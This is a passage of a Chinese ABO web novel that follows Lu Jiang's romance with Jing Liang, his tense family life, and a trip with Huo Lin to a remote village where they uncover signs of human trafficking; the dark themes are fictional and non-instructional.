“我当然也没有这个习惯,但你是特别的,既然你这么烦我,那我不打扰你了,我以后也尽量不会出现在你面前,更不会纠缠你,要不要再见面,决定权也在你,你睡吧,祝你好梦。” 门应声关上,漆黑的屋子陷入沉寂让崔少霈莫名一阵心慌。 他坐起身打开床头的灯,看了眼他之前坐的沙发,似乎在确定他人真的走了。 这不就是他想要的吗?霍临这么得体稳重的退出了,他不应该松了口气吗? “去你M的!”崔少霈一拳捶向床头,那种说不出的憋屈让他红了眼眶,他现在是明白了,他不是想看到霍临这么干净利落的全身而退。 他就是想看他痛哭流涕,追悔莫及!痛心自己之前的所做所为,对自己满是愧疚与自责,跪下一遍一遍求他原谅,这才解气。 可他当了二十几年alpha,不知道要怎么才能拿捏得当。 崔少霈瞪着双眼全无睡意,拿了手机漫无目的刷了些贴子。 其中有个贴子话题为#作为omega的先天优势你知道几个#。 【1L:omega当然是香香软软的啦!】 【2L:有些O真的天生自带茶艺,把那些A迷得不要不要的。】 【3L:真性情的酷O难道就没有市场吗?】 【4L:@3L,喂你醒醒,你不来跟A做兄弟姐妹的,你是冲结芬来的!我真的很不喜欢钢铁直男O和直女O,求求了,一个O能不能软一点萌一点?凹独立自强很好笑欸!】 【5L:四楼兄弟说得对,本人失恋中,痛哭流涕。】 【4L:谁特么你兄弟,我是你阿姨!】 【6L:阿姨好,阿姨看看我,我是软萌男O,我不想努力了。】 …… “都什么乱七八糟的!”崔少霈没好气的丢开手机,睡觉! * 知道卢绛他们今早的飞机,霍临开车将他们送到了机场,离登机时间还有一个小时,景凉想带一些茶叶回去给母亲,留下霍临与卢绛坐在等候室闲聊。 卢绛看了眼他脸上的添的新伤,暗叹了口气,“哥,你又被打了?” 霍临摸了摸嘴角到下巴处的青紫伤痕,强行挽尊,“你都不知道你未来大嫂有多辣!” “我是不知道,”卢绛实在不忍心戳破他,安慰地拍了拍他的肩膀:“但你喜欢就好。” “你转学去了帝都,平时想找你一起出来喝个酒都难咯。” “不难,休息日随时可以飞过来找你玩。” “暑假有什么安排吗?” “暑假的话我想查一些事情,估计也没时间来南城找你。” “查什么?” “我想去一趟西焦山。” 霍临坐直了身板,“这不是巧了吗?我老家离西焦山那里不远,那地儿挺落后的,环境很封闭,十里不同音,说的那个客家话你根本听不明白。还有就是……别单独去。” “啊?这么凶险?” “嗯哼~什么时候去你告诉我一声,我带你过去。” “你多少年没回去过了?” 提起这个霍临神情很不自在,“上大学之后,就再也没回去过,我一回去就得当村长你懂吗?其实我家人朋友都待我很好,但我不喜欢那里,太穷太封闭了,挺白眼狼的吧?” “没,人不为己,天诛地灭。” “弟弟,这句话我十分赞成!” 卢绛扯着嘴角笑笑,谁叫大哥你就这品行呢?总不能当着面骂你没良心吧? 友谊的小船晃晃荡荡,可能说翻就翻。 景凉回来时,给霍临带了一杯咖啡。 “拿铁,喝得惯吗?” “谢谢,都可以。”霍临接过咖啡,看了眼时间,起身道:“快要到登机时间了,那我先走一步。” “啊,好,开车小心。”卢绛朝他挥挥手,目送他的背影消失在人群,才拉过行李牵着景凉往vip检票处走去。 他们的坐位在头等仓,扣好安全带,景凉忍不住八卦问道:“他脸上的伤怎么回事?那么一大块青紫,昨儿不是还好好的?” 卢绛吸了口气,凑到他耳边小声道:“被一个omega打的。” 景凉瞪着眼,难掩惊诧,“他出轨了?” “没有出轨,可能就是……情趣吧?”卢绛若有所思的点头,“应该是这样。” “那你这个朋友情趣还挺特别,抖M?” “不予置评。” “你那个朋友今天上各大头条新闻了,配高清大图。” “是吗?我看看。”卢绛接过景凉的手机。 新闻标题高亮顶置——#新时代黑马荒地求生上线仅一个月圈钱两百亿# #深扒商界新贵身世背景,霍临仅凭一己之力引领新时代# #最新国民老公霍临A+alpha的择偶取向# #首富之子与霍临同框状似亲密旧友# …… 评论区免不了比较拉踩,特别是卢绛与霍临同框的那条,不过卢绛根本不在乎,只是感叹了句:“霍哥的名人效应不就出来了吗?连找明星代言都省了。” 景凉不由失笑:“你呀……” 真不知道该说他大心脏,还是太纯善,不过这样也挺好的,不爱出风头,不在乎外界评价,踏实干实事。 卢绛将手机还给了景凉,“下飞机时,我要跟你说一件事。” 景凉心脏漏了一拍:“什么事啊?” “是好事,你别紧张。” “回家我也有东西要给你。” 卢绛一脸期待:“好想快点回家。” 景凉笑着摸摸他的头,“睡一下,很快就到了。” “让我闻闻你的信息素。”卢绛低声说了句,朝他的脖子里拱去,景凉一张脸红透,紧张地看向左手边,没人,舒了口气。 他推了推埋在他颈窝里的大脑袋,“别闹了!” “唔……”卢绛用力蹭了下他的脖颈,见到有人走进机舱,坐直了身子,百无聊赖的瞪着眼盯着舱顶,像个没耐性的小孩,想要快点回家。 飞机起飞了,俩人昨天都没怎么睡好,靠着彼此小睡了一觉,很快便到了机场。 一下飞机景凉就迫不及待的问他:“到底什么事要跟我说?快点说,别让我求你!” 卢绛笑了声:“我转学手续办好了,以后就在帝都念大学,我们可以天天见面。” 景凉猛地拉住了他,惊喜的瞪大了双眼:“真的假的?什么时候啊?你怎么一点风声都没透露?” “惊喜吗?” “可太惊喜了。” “嗯,那就是了,要是早说了你现在就不会这么惊喜,而且之前我也没有百分百的把握能转学成功,所以一定得把事情办好了,才跟你说的,万一不行,你不是空欢喜一场?” “没有你办不成的事,你最厉害了。” 对于这份崇拜和夸赞卢绛十分受用,整个人轻飘飘的仿佛飞上了云端。 景凉的车子就停在机场,他们直接取了车回了别墅。 家里还是和卢绛离开前一样,没什么变化。 阿姨知道他们上午要回来,出去去菜市场买菜了。 卢绛一把将景凉抱起,飞奔进卧室,在床上滚了两滚,抱着他又亲又啃还骚话不断。 “你是小狗吗?糊我一脸口水!” “我现在除了糊你一脸口水还能干嘛?你又不让我干。” 景凉摒住了呼吸,不敢相信:“你从哪学来的流氓话?霍临教你的吗?” “不是,我自己学的。” “那你好棒棒哦,要我夸你吗?” “现在不要你夸我,我要礼物。你说给我的惊喜还没给我。” 景凉捧着他的脸,亲了他一下,伸出手打开了床头柜的抽屉,拿出了一本产权证书递给了卢绛。 卢绛打开产权证书,发现是国外一个私人岛屿的永久产权证书,上面写了他的名字。 “你……你买了座小岛送我?” “你不是说想要一个小岛把自己藏起来吗?” 卢绛瞬间红了眼眶,声色沙哑:“我只是随口一提,你怎么当真了?” 第79章 第79章 你别叫我哥哥!你这个虐猫的…… 景凉轻捏着他的后颈, 浅笑了声:“只要是你想要的,我都想给你。” “凉哥……”卢绛几度哽咽,因情绪的波动颤得几不成声:“我……我……” “好啦,哭什么?又不是什么特别贵重的东西。” “很重贵了, 没有人对我这么好过。”卢绛抽着气儿, 泪水啪嗒啪嗒的往下掉。 景凉抽了纸巾给他擦着眼泪鼻涕,知道他爱哭, 没想到泪腺这么发达, 一下子把他的衬衣给哭湿了。 “不哭了哦, 再哭我的心都要碎了。”景凉用着哄小朋友的语气轻哄着他, 直到他的情绪渐渐稳定。 卢绛红肿着眼睛从他胸前抬头偷偷看他,又觉丢脸埋了回去。 听到楼下似乎有响动声,景凉拍了拍他的后背,提醒了句:“大概是阿姨回来了, 我去拿冰块给你敷敷眼睛, 嗯?” “好。”卢绛又把自己挪到了枕头上趴着装鸵鸟。 景凉无奈一笑,起身下楼去拿冰块。 他拿着冰块很快进了卧室, 让他转过身子, 卢绛扭捏了好一会儿才翻过身平躺着,景凉很照顾他的自尊心, 也没有揶揄, 只是用布巾包着冰块帮他敷着眼睛, 转移了注意力。 “暑假要不要去岛上看看?我去了一次, 风景挺好的, 不过岛上的房子还在盖,想要渡假得等到明年了。” 卢绛心动不己,但是没有应下, “暑假我想去一趟西焦山。” 景凉暗抽了口气,默了会儿,说道:“我陪你一起去。” “不用,我一个人去就行了,而且只是去两天很快就回来。” 听霍临那个意思,西焦山不是什么好地方,穷山恶水的对omega不太友好。 况且那儿太过偏僻,景凉的发情期也就在那几天。 “我不太放心你一个人去。” “有霍哥陪着我。” 景凉张了张嘴没说出来,有霍临在他更担心!他不在南城的时候,就经常带着卢绛泡吧喝酒,就差没抽烟找乐子了。 “我还是陪你吧?” 卢绛将眼睛上的冰袋挪开,一脸严肃看着他,“我自己去,我会照顾好自己,那种地方来回都不容易,而且你是omega,霍临虽然说得很隐晦,但你应该也想像得到,一个omega出现在那里,会发生什么。” 见他板着脸一副没得商量的样子,景凉泄了气,笑着吻了吻他的额头,“好,听你的。” “我会尽快回来的,陪你渡过发情期。” 景凉脸颊微烫,“我去看阿姨饭做好了没有,眼睛再敷一敷你等会儿自己下来。” “好。”说着又把冰袋敷了上去。 卢绛在景凉这边呆了一天,带了些行李回了卢家。 景凉开车把他送到院外,满是担忧,“一定要回家住?” 卢绛也不想回这个家住,但是原本的卢绛应该是想得到家人的温暖吧?而且有些事情,他必须要查清楚。 “我们可以每天约会。” “你比我都忙,过两天又要去外地,暑假的小朋友都想躺在家里吃零食看动画片玩手机,我家的小朋友一点都闲不住。” 卢绛抿了下唇,心里有些愧疚,“对不起,没能好好陪你。” 他一道歉景凉这颗心就软得化成一滩春水,什么脾气都没了,“逗你玩儿的,等你忙完……我带你去咨询一下心医生?” 这件事是景凉心里的一根刺,他觉得卢绛这个情况总该去看看的,不管是什么结果,他都接受。 “嗯,那我下车了,电话联系。” “去吧。” 景凉目送着他下车,走进卢家院子,才开车离去。 这个家许久没有回来,他所有时间加起来都没在景凉那儿呆得多,如今一看觉得十分陌生。 卢佑铭出国谈项目了,家里只有黎花母子。 自从卢羡回来之后,黎花对他的态度一百八十度转变,早已没了慈母的样子。 见他回来,之前还笑得开怀,转眼间就蒙上了一层寒霜。 “你怎么回来了?” 黎羡正在逗猫,看他回来的眼神讳莫如深。 卢绛只是多看了两眼猫,别提有多不自在,这种感觉像是在寄人篱下孤独不安,“放假了,就回家了。” 黎花冷笑了声:“我的意思是你怎么没去景家?你跟景家那个omega的恋情现在传得沸沸扬扬,我还当你入赘了呢!” “妈……我先回房间了。” 黎花冷冷的白了他一眼,卢绛下意识握紧了行李箱的拉杆,快步走进了家庭电梯。 卢羡将猫上膝盖,笑着像在问一件无关紧要的事,带着几分讥讽:“他还叫你妈妈?” “你要是不喜欢,以后就不让他这样叫我。” “不,我无所谓,不过爸爸要是知道你这样区别对待,应该会不高兴。” “他有什么资格不高兴?这一切,都是他造成的。现在卢家最优的继承人只有你!卢绛已经没用了。” 卢羡不置可否,卢佑铭的心思很深,暂时他还不能轻举妄动。 表面上卢佑铭对他这个回来的儿子十分满意,甚至还给了几个公司和总公司5%的股份给他,反观卢绛却什么都没给。 所有人都以为卢绛已经彻底失势,可是卢羡不这么觉得。 “我这个爸爸,真有意思。” “阿羡……” “弟弟回来了,我过去打个招呼。” 黎花心口一跳:“你可别被他欺负了。” 卢羡只觉好笑:“谁欺负谁,还不一定。” 卢绛将行李收拾好,私人空间比较容易放松,他在床上躺了会儿,听到敲门声,一颗心又吊了起来。 实在不想开门。 可敲门声锲而不舍的一直响,卢绛深吸了口气,才慢吞吞的去开了门,只见卢羡抱着猫站在外边冲他笑得很友好。 “可以进去吗?” “请进。” 卢绛退开让他进来,眼睛一直盯着他怀里的那只猫,真的好像……连疤痕的位置都一模一样。 “这只猫,叫什么名字?” “咪咪。” 听到这个名字,卢绛不由笑了声:“也太草率了。” 卢羡跟着笑了,“把它救回来的时候,瘦骨嶙峋奄奄一息,我花了所有打工的存款才把它救回来。” “它左腿有伤?” “嗯,被一群熊孩子打的,都烂到骨头上了,这块疤已经长不出毛,动作也没别的猫利索。” “我可以抱一下它吗?” “给你。” 卢绛从他手里接过猫,抱在怀里软呼呼的很治愈,以前在孤儿院的时候,他也救了一只猫,因为没有给它取名字,所以也叫‘咪咪’。 这也太神奇了,转换了一个世界,他们还能再相遇。 “咪咪,我叫卢绛。”你认得我吗? 咪咪突然舔了下他的手指,拿头去拱他的掌心。 “它喜欢你。” 卢绛高兴的笑眯了眼。 任谁见到这一幕都会觉得神奇,所有人都觉得他们应该水火不融,可是交谈下来,却很和平,几乎没有隔阂。 这种感觉卢绛说不上来,就连第一次看到景凉的时候,他都没有这种感觉,只觉得那时的他很矜贵遥远,像夜中的明月。 卢羡也察觉到了这样的异样,他不由打量着卢绛,说了句:“好奇怪啊!” “啊?” “这段时间圈子里我也认识了不少人,但总觉得不是一个世界的,第一次见面还不觉得,以为你跟他们一样,但短短的和你相处下来,让人觉得很舒服。” “是吗?”卢绛敷衍笑了笑。 卢羡那双眼锐力如鹰隼,几乎要将他看穿,久久,才说了句:“我们好像是同一类人。” 卢绛将猫还给了他,“我不觉得哪里像。” “也许,是我的错觉。”卢羡抱起猫起身,冲他笑笑:“弟弟,以后也要相处愉快哦。” 直到房门再次关上,卢羡脱力的倒向床,脑海里不断的回想关于咪咪的回忆,不知不觉一阵困意袭来。 他突然感觉自己身体很沉,四周一片黑暗不知道要沉入哪里,周围开始有人说话,但是朦朦胧胧的听不清楚。 不知怎的,他突然睁开了眼,看到了眼前的一对夫妇,正拉着他的手,笑容很慈爱。 “宝贝,你愿不愿跟我回家,让我们做你的爸爸妈妈?” 卢绛的心智与身体都回到了十岁时的样子,心中难掩的高兴:“爸爸,妈妈?” “老公,他好可爱,就他了吧!” “小绛愿意跟我们走吗?” 卢绛用力点头:“我愿意。” 孤儿院的小朋友全都在羡慕地看着他,低声议论着。 “卢绛命真好,听说他们家好有钱的,是S市的首富。” “哇!好羡慕有这样的爸爸妈妈。” “我也想去他们家。” …… 他迫不及待的带着夫妇俩去宿舍收拾行李,他要带走他的玩具还有小猫!他就要有爸爸妈妈啦! 可是他的玩具丢了,猫也不见了,他到处找都找不到,当他掀开被子时,一阵尖叫声响起,他的小猫双眼被挖,四肢也被砍掉了,鲜红的血把他的床单染红了一大块。 他吓坏了,不敢上前,也不敢相信自己看到的一切,恶心,想吐! 突然从人群里冲出来一个比他大两岁的男孩,悲痛欲绝的扑倒在床上,不顾小猫骇人的惨状把它抱在了怀里。 卢绛在心里嘶吼着,想让他放下,那是他的猫! 为什么? 他最喜欢的哥哥为什么会这样? “为什么?!”男孩哭得上气不接下气,红着双眼指责着他,“你为什么要杀死我的猫?!” 那怎么是你的猫? 明明是我的猫,我养了它很久,明明是你们都不要它,都欺负它! “哥哥……你在说什么?” “你别叫我哥哥!你这个虐猫的变态!我再也不会原谅你!” “我没有,我没有虐猫,我没有……” 为什么没有人肯相信他? 他真的没有做过! 他没有!! 第80章 第80章 在这里不止omega值钱,…… “骇——!!”卢绛在恐惧与窒息中醒来, 浑身被冷汗渗透,似从水中打捞上来,他瞪大着无神的双目,甚至一度无法呼吸。 直到肺部缺氧产生撕裂般的疼痛, 他掐着自己充血的脖子许久才找回顺畅的呼吸, 梦中的血腥压抑与窒息的黏腻腐败感还紧紧缠着他无法散去。 他冲动洗手间一阵干呕,胃里是空的什么也没吐出来, 将水开到最大, 撑着盥洗自缓解了很久, 洗了把冷水脸才恢复平静。 胃疼! 他看了眼时间, 已经晚上九点整,早就过了吃晚饭的时间,他睡过头了,家里的阿姨也没有叫他。 卢绛冲了个凉, 赶紧收拾了一下, 拿过车钥匙便出门了。 他原本打算去夜市随便吃点东西,手机来电铃声响起, 他接起蓝牙, 那端传来景凉温柔关心的询问。 “我家小朋友现在在哪儿呢?” 卢绛不由失笑,“正出来觅食。” 景凉语气变得严肃, “还没吃晚饭吗?” “没有, 我睡过头了。” “那他们也不叫你?” “嗯……主要是我自己的原因。”确实是他自己睡过头, 他们对他也没有任何义务要给他关心, 毕竟是成年人了。 “你就是脾气太好, 卢佑铭不在家吧?” “你怎么知道?” “他要在家卢家上下敢当着他的面儿这样?怎么也得做做面子功夫。” “大概吧。” “过来我这边?阿姨和我妈下午煲了汤,本来也是想叫你过来喝汤的,既然你没吃饭, 我再让她去炒几个你爱吃的菜。” “好,马上!” “那挂了,你好好开车。” 半个小时后,卢绛驱车到了景凉的别墅。 屋子灯火通明,透过明亮的落地玻璃窗,景凉正在帮阿姨布菜。 卢绛坐在车里一时没敢下车,因为太过美好了,不想打破这幅治愈的画面。 原来也会有人不管多晚,都会给他准备吃的,屋子里亮着灯,等着他归家。 他红了眼眶,暗暗向上天许愿。 可不可永远留在这里,留在他的身边?付出什么代价他都愿意。 卢绛将脸埋在方向盘上,深吸了口气,调整好心情后,一脸高兴的走下了车。 听到院子里的动作,景凉快一步出门来接他。 “你开这么快?” “不快的,你给我打电话我已经在半路上了。” 卢绛抱着他亲了下他的脸颊,像只过大的无尾熊,赖在他背上跟着进了屋。 “重死了,赶紧坐下吃饭。” “哇,好丰盛!” “汤还有点烫,你先吃饭,填一下肚子。” 景凉将热好的汤舀了一碗放旁边晾着,宠溺的伸手了下卢绛额头凌乱的碎发。 卢绛吃饭总是很香的样子,不挑食也吃得多,看他吃饭就很有食欲,普通的一个菜看他吃就觉得特别香,也想尝尝看。 “慢点吃,你几乎一整天没吃什么东西,胃里都是空的,不要吃那么急。” “没关系,我的胃很坚强,别名卢绛胃坚强。” “什么鬼话?”景凉被他逗笑。 卢绛跟着傻笑,将景凉递过来的汤喝了。 温馨的夜晚笑音不断,平淡却有种向死而生的浪漫。 * 暑假第二天卢绛实在无法说服自己回卢家,景凉去哪里他就跟去哪里。 第三天他收拾了行李,飞去南城与霍临会合。 霍临买了一辆类似牧马人的越野车,拥有四驱系统和强大的马力,空间也足够大,后座和后备箱都塞满了东西。 卢绛双眼差点瞪了出来:“我们是去逃难的吗?” “有一部分是给家里人带的礼物,还有一部分是必备的一些生活物资,我有经验,跟着我走就是了。” 他的意思是要自驾回去。 从南城到西焦山有一千多公里,如果不停歇最晚十二个小时后到达。 两人三个小时轮流开,越往西焦山那边走,路途就越荒凉偏僻,偌大的加油站背后靠着重峦叠嶂的远山,几乎没什么人和车,寂静又荒凉之感更甚。 卢绛吸了口微凉的空气,倒是避暑的圣地,在同一片天空下,比钢铁城市的温度要低上足足七八度,海拔比较高,再往里走得穿件薄外套。 也不知是不是近乡情怯,霍临变得沉闷起来,眼底是化不开的凝重。 通往大山村子的路狭窄而崎岖,霍临只能将车子停在镇子上,叫了一辆牛拉车,将车里的东西都搬了上去,他们跟在牛车后面不紧不慢的走。 蜿蜒而上的山道通往杏霭流玉的深处,拨开层层云雾得见庐山真面目。 卢绛感到新奇之余,也生出些许胆寒,“这到底该怎么出去啊?” 霍临轻叹了口气:“是啊,很难走出去的,有的人来了就是一辈子。” 终于走到了山道尽头,眼前一片平坦,山顶的村子很集中,村口也有小卖部,只是商品很贫瘠。 大多数的房子是半木质半土泥砖砌成的,卢绛只有在很小的时候见过。 被晒得古铜色皮肤的枯瘦老头蹲在屋前的台阶上抽着旱烟,看到有人进村,一双眼精光内蕴,如鹰隼捕猎时瘆人。 直到霍临用着客家话跟人打招呼,老头才展露出热络的笑容,上前紧握过霍临的手咧嘴一笑,只露出仅剩的两颗上槽牙。 霍临笑着跟他说了什么,轻拍了拍他的肩膀安抚,这才带着卢绛往里走。 “你跟他说什么?” “那是我五叔公,我变化太大,他都认不出我了。” 卢绛瞪大了双眼:“你父母……也是这样吗?” 霍临失笑:“你等会儿见着不就知道了?” 看他一路走一路熟络的打着招呼,卢绛十分好奇,“整个村的人都跟你熟?” “差不多吧,一整个村都是亲戚。” “那,那你们不是近亲结婚?” “不会啊,留下来的青年,会与相邻的村子通婚,这里的女孩是不准随便下山的。” “女孩?”卢绛很久没听到用‘女孩’形容一个性别群体了,“不是omega吗?” “你傻呀!”霍临无奈笑着摇了摇头,“这世上哪来这么多omega?人口主要组成性别是Beta,你之所以会觉得A和O很多,因为你在这个世界的中心,A和O是不会出生在这种地方的。” “有女孩子想要下山呢?” “看到镇上唯一的警署局了吗?都是一家人。” 卢绛一阵窒息,最后问了句:“那你怎么来的?” “我?”霍临意味深长一笑,却没有回答。 卢绛识趣的没再问下去,人都到这里了,他可不敢惹霍临生气,说实话,心里没底,有点害怕。 绕了十七八个弯终于到了霍临家,院子里有几个青年正在做编织,看到有人拉着牛车进来,都愣住了。 其中一个看起来大点的男孩认出了霍临,高兴的叫喊着父母,顿时院子里气氛沸腾不息。 卢绛看到两个皮肤黢黑,约摸六十来岁的夫妇互相搀扶着走了出来,盯着霍临热泪盈眶。 霍临也不是全然没感情,眼睛有点红,与老夫妇拥抱了很久,然后才招呼着卢绛进了屋。 屋内简陋,只有一张四脚不平的小茶几,小妹妹冲了两杯茶,杯子是用竹筒做的,倒是很别致。 霍临先带卢绛去了自己的房间,是正屋最大的那一间,向征着一家之主的地位。 阁楼的采光也极好,小窗一望就是云雾缭绕绿意盎然的景色,一大片净蓝色的湖泊远远看着水天相接,乍一眼分不清到底是天空还是湖面。 这样极难得的美景让卢绛放松了警惕与疑虑。 霍临收拾着搬进来的行李,叮嘱着他,“在这里你千万别乱跑,时刻跟紧我。” 卢绛带着大学生的清澈:“不然会怎样?” “不然会怎样?”霍临拔高了尾音,半真半假的戏谑,“我跟你说,在这里不止omega值钱,像你这种alpha更值钱!” 卢绛暗抽了口气:“哥,你别吓我。” “谁吓你了?”霍临一屁股坐下来,缓了两口气,“高等alpha和普通女性beta有一定概率能生出b等级的alpha和omega,omega和男性beta结合生出AO的概率比AB会小很多。” 卢绛受教的点点头,这属于是他的知识盲区,他之前只是深入了解了一下这三个性别的生构造,至于基因遗传和三个性别结合后出生性别概率没有研究过。 “你之前问我,我是怎么来的,我想你心里应该有了答案。” “你……”卢绛心慌不敢问,又不由心疼可怜他,“反正我知道两个B生不出一个A,他们不是你的亲生父母。” “嗯,不是。” “你出去这么多年,就没想过……报警吗?你的亲生父母,不想见一见?” 霍临无奈一笑,“因为报警没用。” “你试过?” “没有,”霍临顿了顿,抬眸看向卢绛的眼神有些诡谲难辩,“我的亲生父母,也在村子里,omega母亲在我出村上大学那一年就死了,父亲疯疯癫癫,在一个傍晚把自己吊死在树上,我那一年八岁,跟着村里的人去看热闹,看他们将尸体抬下来,裹着草席就地埋了。” 说完,霍临从烟盒里拿出了一支烟点上,狠抽了口,“那时候太小,不懂事,只是好奇而己,单纯凑个热闹。” “你在,说什么?”卢绛浑身发毛,连大气都敢不出,明明说的是普通话,合在一起他一时无法解。 “我知道自己是怎么来的,但是我无能为力,只能尽可能不回来,但我的根是扎在这的,陪伴我十几年的亲人也都是真实的,他们对我真的很好,很好。” 卢绛喘了一大口气,只觉空气越发冷了,他拿过毯子一把将自己裹住,“哥,你不会把我卖了吧?” “噗咳……哈哈哈……”霍临呛了口烟,连眼流都呛了出来,却忍不住大笑,“欸,是你傻还是我傻啊?为了十几年才能赚到的那几百万把你卖了?我疯了吗?!” 80-90 第81章 第81章 落到底层社会也不过是被摆弄…… 卢绛想想也是, 霍临是个聪明人,不可能做这种损人不利己的事。 霍临暗叹了口气,小子警惕性很强,即使与他这样深度合作的伙伴, 都不能完全信任。 不过也正常, 他能解,只是被人背叛一次他就已经很难去相信别人, 更何况卢绛的过往充满了背叛与欺骗。 “你要找的那个人, 知道具体位置吗?这里可有好几个村。” “黄石村。” “黄石村啊……”霍临回忆了下, “那得翻两个山头, 早上去得傍晚回。这山里连山地车都不太好骑,要步行。” “嗯。” “你歇着吧,我下去看看他们,顺便把带回来的礼物给分了。” “好, 我先躺会儿。” 目送霍临离开, 卢绛躺到了床上,这里除了偏僻, 风景和空气都很好。 夏天的温度最热时都只有三十度左右, 晚上应该会更凉快。 卢绛拿出手机给景凉发了条信息,十几秒才发送成功。 【卢绛:凉哥, 我们到了, 目前一切安好。】 【景凉:照顾好自己, 要好好吃饭。】 【卢绛:我这边信号不是很好, 先不聊了, 后天应该就会动身回来。】 【景凉:嗯,我在家等你。】 楼下传来一阵欢声笑语,卢绛趴到窗前往下看, 院子里挤满了人,大概整村的都来了。 怪不得得自己开车回来,要带一车的东西,还给发红包。 整个村培养出一个大学生,卢绛越想越觉得一阵恶寒。 霍临想要彻底摆脱他们实在太难了,不仅仅是道德层面上的,还有被从小到大赋予的责任,好在他道德感也没有那么强烈,有良心但不太多。 下边热闹了好一阵,霍临手里拿了些吃的上来。 有山核桃和枣子之类的自种食物。 这个季节他们这儿有青皮桃子,看着很酸,吃起来又脆又甜水份还很多。 卢绛一连吃了好几个,这个鲜味儿在外边根本买不到。 “你要喜欢吃这个桃子,回去给你摘一麻袋带走。” “一麻袋?”卢绛一脸震惊,眼睛都亮了。 “是啊,这里的水果除了自己吃,一部分是老人背下山去卖,又卖不了很多,大都熟透烂在了地里,不值钱。” 霍临看着他不由失笑,“那位景总应该很喜欢你吧?” “怎么突然问这个?” 霍临笑笑没有作答,卢绛太纯粹了,很容易被满足,只要稍微满足他就会回馈满满的情绪价值,这是在浮躁的现代社会很难见到的品性。 有时候看起来呆蠢好欺负,但他不是傻,心里很有成算很聪明,他有一条明确的底线,只要不越线他都不会用这份聪明去算计别人。 这样一个干净纯粹的人,谁会不喜欢呢? “晚上七点开饭,全村都来吃,你是在房间吃还是要跟我下去吃?” 卢绛一脸难色。 “知道了,给你送进房间来。” “这样好吗?” “有什么好不好的?他们知道你是我带回来的朋友,不会多问,反正呆两天就走了。” 第一晚相安无事,只是卢绛早上起床,后背长了许多红疹。 霍临带了药膏过来,山里看不见的小虫子多,卢绛没来过这种地方,起红疹都在霍临的预料范围。 卢绛是天生的白,衣服一掀白得跟玉似的,红疹看起来就更吓人了。 “哎哟喂,少爷您可真的娇贵,瞧这养出来的上好皮肉!”霍临打趣儿的给他上药。 卢绛刺挠得厉害,苦着张俊脸:“哥,你这药真有用吗?” “有用!放心好了,半小时见效,哥有经验!别用手挠,忍忍!” “哦。” “你要抓破了给留了疤,你家那位小景总还不把我给刀了?” “凉哥他不会这样的,他人很温柔。” “你是真不知道还是假不知道?你真觉得他是个温柔的人?” “他……他对我很好。” “那不就是,他只对你温柔对你好,我可招惹不起。” “他很讲道的。” “嗯嗯嗯。” 他们起得很早,下去吃早饭时天才刚亮,走山路需要打一段手电,霍临与卢绛各自背了背包,放了一些干粮和水,拐着登山棒就出发了。 翻了一个山头,霍临指着一个插着国旗的红围墙里头说道:“这是我小时候上学的地方,几个村的小孩都在这儿上学。” 卢绛往他指的方向看去,破烂简陋的只是用红砖砌了个房子,到处漏风,更别提什么教材设施了,资源匮乏得很。 “那高中呢?” “在镇子上,寄宿。” “哥,你能读书走出这里,真的太厉害了!” “不读书就得留在村里配种,浑浑噩噩过一辈子,就像他们一样……” 他们指的大概是自己的亲生父母吧? 对于这个卢绛使终不敢多问,怕触碰到他的伤心处。 直到正午,他们终于到了黄石村。 “我小时候来过这边,现在野草都长得半人高,残垣断壁都找不着了。” 卢绛看着眼前一片荒野,毫无头绪。 “那场大火有活着的人吗?” “嘶……”霍临一脸严肃地想了许久,猛地想起了什么,“有一个,不过他不是黄石村的人,在隔壁村,他家世代都这儿的村医。出事那一年家里打电话给我,说当晚他冲进火海,救出一个小婴儿,半张脸都烧毁容了。” “我们回去是不是要经过他家?” “对。” “我想在这里转转。” 霍临也不知道这里有什么好看的,但没有阻止他,只是跟在他后面拨开半人高的草丛,踩着脚下的一片废墟,莫名觉得有些瘆人。 当年烧死的一共82口人,很多连尸体都一起烧成了灰。 卢绛在这片废墟上转了将近两个小时,走到残垣尽头突然被凸出来的一块铁柄给绊了一跤。 他踉跄了几步被霍临扶住。 “那是什么?” 霍临回头瞧了眼,“这个啊,是地窖入口的把手。” “你们这都喜欢挖地窖吗?” “几乎每家都有,能存放些蔬果过冬。” 卢绛有些好奇上前抓住铁柄往上提了几下,被石头和木棍压着了,没提动。 “费这劲儿干嘛?” “想看看。” “你可真是好奇宝宝。” “反正来都来了。” 霍临在四周找了找,翻出一根生锈的钢筋递给了卢绛:“你来,看能不能撬动。” 卢绛接过这半截钢筋,用了好一番力气,终于把地窖的入口给撬开。 地窖避免了火舌的吞噬,借着白天的透进去的光,隐约能看到里面的情形,放了些农具和破旧的家具,落了厚厚一层灰。 “哥,我下去看看。” 霍临一把拉住他,“你还真不怕?” “怕什么?鬼吗?” “???” “人比鬼可怕得多,我不信这些。” “行,行吧,我在上面等你。” 卢绛沿着松动的木梯攀爬而下,下到一半就闻到了一股腐蚀发霉的气味,混和着厚重的灰尘害他呛了几口气。 虽然很昏暗,但是依稀能看清楚除了一些生锈的农具和破旧家具之外,角落里还有一个很大的铁笼子,笼子里面放了盆,盆里的东西已经化成了黑泥,像是曾经关大型狗的。 地钉扣着一根铁链延伸到笼子里,铁链笨重粗糙,末尾连接着圆形的铁项圈,看起来又不像是拴狗的。 “哥!” “怎么了?” “我发现一条很奇怪的铁链子,可是又不像是拴狗的,是做什么用的?” 霍临心脏漏了一拍,怔愣了许久,跟着爬梯下来了。 他仔细看了看四周,咽了口吐沫,背后瘆出一层冷汗,抓了把竖起来的头发,“太tm巧了!” 卢绛看他这样子,也不由跟着紧张起来,“是……什么巧?” “先上去再说。” 霍临拉着卢绛快速爬了上去,重新盖上了地窖,一屁股坐在了一块断壁上。 卢绛跟着坐到了他旁边,一脸凝重没有说话。 “以前有一个传说,说这里关着一个刚分化成alpha的小孩,而且这小孩来得挺……不是拐来的,是被他妈妈以两万块给卖来这边的。” 卢绛摒住了呼吸:“被妈妈……两万?卖来这边?” “我只是听说,没实证。更不能确定这个地窖就是关那个alpha的地方,虽然这里一直都有这事,但却很忌讳说起,我也是无意听几个村妇闲聊时听到的。” 卢绛不敢深想,连呼吸都开始凝重,他实在想不明白,“为什么啊?到底……为什么?” “这世界上哪有那么多为什么?”霍临烦躁的点了一支烟,“A和O看起来是这世界的主宰,落到底层社会也不过是被摆弄的资源而己,活得还不如beta。” “所以,你才拼了命的想往上爬?” “是,为了摆脱这样的命运,曾经不择手段。我不甘心也不肯认命,可最后还是跌得粉身碎骨,自做自受,什么都没改变。” “被妈妈以两万块,卖到这里……”卢绛瞳孔震颤,张着嘴喘着气,有些失神。 “你怎么了?” 